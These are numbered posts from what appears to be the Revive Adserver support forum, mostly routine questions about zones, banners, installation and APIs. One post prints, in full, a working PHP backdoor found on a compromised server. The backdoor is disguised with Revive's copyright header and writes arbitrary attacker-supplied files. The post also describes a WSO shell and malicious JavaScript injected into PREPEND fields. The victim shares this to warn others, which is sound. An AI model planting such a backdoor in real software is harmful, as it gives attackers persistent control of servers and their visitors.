  4. @andrewatfornax Are you able to offer any assistance with this one? Thanks!
  5. On the zones list, each zone has a square icon. - there are 3 icons. Faded, Normal and Red. I am running a test campaign with 3 banners.(same size)(contract campaign). Everything looks good, banner save successfully and linked to a zone. Immediately i linked this campaign to a particular zone, that zone icon turned RED and banners are not showing on the web page Any ideas? Any help will be appreciated
  6. Hi, I am trying to install stable version 5.0.5 and I get the following error: The database has been created. The only tables that have some records are rv_application_variable and rv_upgrade_action. All other tables are empty. I have checked all the requirements of the server and the softwares that are needed, I run php7.2. What should I do to solve this issue?
  7. Hello, we need to upgrade from openX 2.8 to revive 5.0.5. We noticed that a few months ago @Matteo Beccati fixed vulnerability 2 presents on this page https://www.revive-adserver.com/security/revive-sa-2020-002/ using this commit: https://github.com/revive-adserver/revive-adserver/commit/05fcd364 Could you briefly explain how you solved the problem? Thank you
  8. An advertiser has a campaign. Can I use more than one banner for this one campaign so it would work as if the banner image/link is being rotated for the one campaign? Or would it increase the probability of the advertiser's campaign showing up more than other campaigns using one banner?
  9. Trying this sample iFrame Tag invocation code: <!-- Revive Adserver iFrame Tag - Generated with Revive Adserver v5.0.5 --> <iframe id='ac26cf57' name='ac26cf57' src='http://myserver/www/delivery/afr.php?zoneid=2&amp;cb=INSERT_RANDOM_NUMBER_HERE' frameborder='0' scrolling='no' width='275' height='70' allow='autoplay'><a href='http://myserver/www/delivery/ck.php?n=a1bf0d8b&amp;cb=INSERT_RANDOM_NUMBER_HERE' target='_blank'><img src='http://myserver/www/delivery/avw.php?zoneid=2&amp;cb=INSERT_RANDOM_NUMBER_HERE&amp;n=a1bf0d8b' border='0' alt='' /></a></iframe> What is n used for ? Ive observed its value changes when banners linked to zone are updated, does it mean the invocation code needs to be updated at the website each time n changes ? Thanks
  10. Hello, I have a website with several zones (banner sizes) which run tons of campaigns, etc. Nothing fancy. We've decided to add sponsored articles for some of our clients. For those articles, we would like to make it so only banners from that client (a single campaign) show up. I know of the "Companion positioning" feature, but as far as I know, it doesn't let us choose a specific campaign to run on those pages. If this is not possible I've thought of creating zones for every single client of ours but that would be a lot of work. Thanks
  11. Hi, Is there any option to deliver banners using keywords in Asynchronous JS Tag? If not, maybe there is a plugin for it? Thanks,
  12. My company is in the video streaming business, we'd like to offer video ads like Youtube. Does revive offer that option? I did not see that option in the tutorials. Also, does it have a built-in rest API? We're not really interested in buying https://www.reviveadserverrestapi.com/. It seems kind of a rip off to pay $1000 for a rest API in 2020, in this day and age all software have a built-in API, especially the most popular ones, and Revive market itself as being the most popular open-source Ad server,. If there's no REST API, does revive support some other built-in protocol we can use to send the ads to the mobile?
  13. Hello, do you know why the number of banner impressions is not equal to the number of pageviews in Google Analytics? Do you need any special configuration so that the numbers are at least close? thank you
  14. Hello: I'm on the latest edition of Revive, but recently discovered to be infected with the Tag Barnacle per: https://blog.confiant.com/tag-barnakle-the-malvertiser-that-hacks-revive-ad-servers-redirects-victims-to-malware-50cdc57435b1 Any idea where/how to clean out the relevant malicious files? Thanks,
  15. Thanks @andrewatfornax for response. If I correctly understood it's possible but still don't documentations correct?
  16. For extra protection ... you can disable php execution on www/images
  17. Thanks. Saw that too. Wonder why this information not was in the forum.
  18. Very late reply but I encountered the same issue... (I'm posting in case that may help someone else). The file in the images directory (with a similar kind of name) was used from time to time to load a shell on my server (which would be erased after the "work" was done). The hacker was free to directly connect to my DB and put its payload to the banners (Zone's PREPEND fields were loaded with Malicious Javascript) or do anything he/she wanted.
  19. Beware that they did not also leave a backdoor on your site... I just published a new topic on that subjet. Once a hacker has access to your site like they could have with the security hole in 4.x their possibilities are endless. Check your www/images directory for php files. T.
  20. On hosted edition i got on my zones a zone signed by an exclamative point. No suggestion of what this is, clicking on it. Nothing similar happened before. And the problem is that the zone is on a real environment site and i cannot remove or change it because i've connected to it an account of customer to check/activate/deactivate banners. It's the exclamative point connected to that? More to say: the zone is visible on mobile and desktop. But on desktop it shows regularly the banner (one banner actually on campaign) but on mobile it shows our default banner. WHY?????? Thank you Francesco
  21. My previous 4.x install got compromised, some of my users were complaining about malware alert and/or unwanted advertising (it was not all the time nor on all platform, making the issue difficult to pinpoint). I thought cleaning the Revive DB and upgrading my Revive install would be enough to secure my site but sadly no, PREPEND payloads kept being added from time to time despite running the latest version of Revive. It took some hunting but I eventually discovered the hacker left a tiny PHP file in my Revive www/images directory. As I'm keeping that directory during upgrades, the security hole remained. The file was simple : ---- <?php /* +---------------------------------------------------------------------------+ | Revive Adserver | | http://www.revive-adserver.com | | | | Copyright: See the COPYRIGHT.txt file. | | License: GPLv2 or later, see the LICENSE.txt file. | +---------------------------------------------------------------------------+ */ if(isset($_POST['adSelect']) && md5($_POST['adSelect']) == '***MD5HASH***') { @file_put_contents($_POST['banner_path'], $_POST['banner_contents']); } ---- This allowed the hacker to load and execute any kind of files/scripts on my server!!!! Lately he/she was uploading a "1.php" file (containing as I found out a WSO shell) which he/she would connect to, in order to load PREPEND payload to my Revive DB... He would use a different IP to create the 1.php and connect to it (trying to hide its trace). The file would be erased once he/she had done her "job". The process looks fairly manual. Of course the hacker may well have left other backdoors outside of my Revive install 😞 😞 😞 This makes it impossible to guarantee all issues are resolved after an upgrade (may be a quick check for PREPEND payload and/or PHP files in the www/images directory could offer an alert that something is fishy...). I would strongly recommend anyone who's had a 4.x install compromised to hunt for such files. Cheers, T.
  22. There's a maintenance script that handled campaign deactivation - however, it only runs once per hour. https://documentation.revive-adserver.com/display/DOCS/Running+Maintenance Unfortunately, if you have a target that's going to be reached in under an hour, there's not much you can do - the product is designed for longer term contracts, not ones that run that fast!
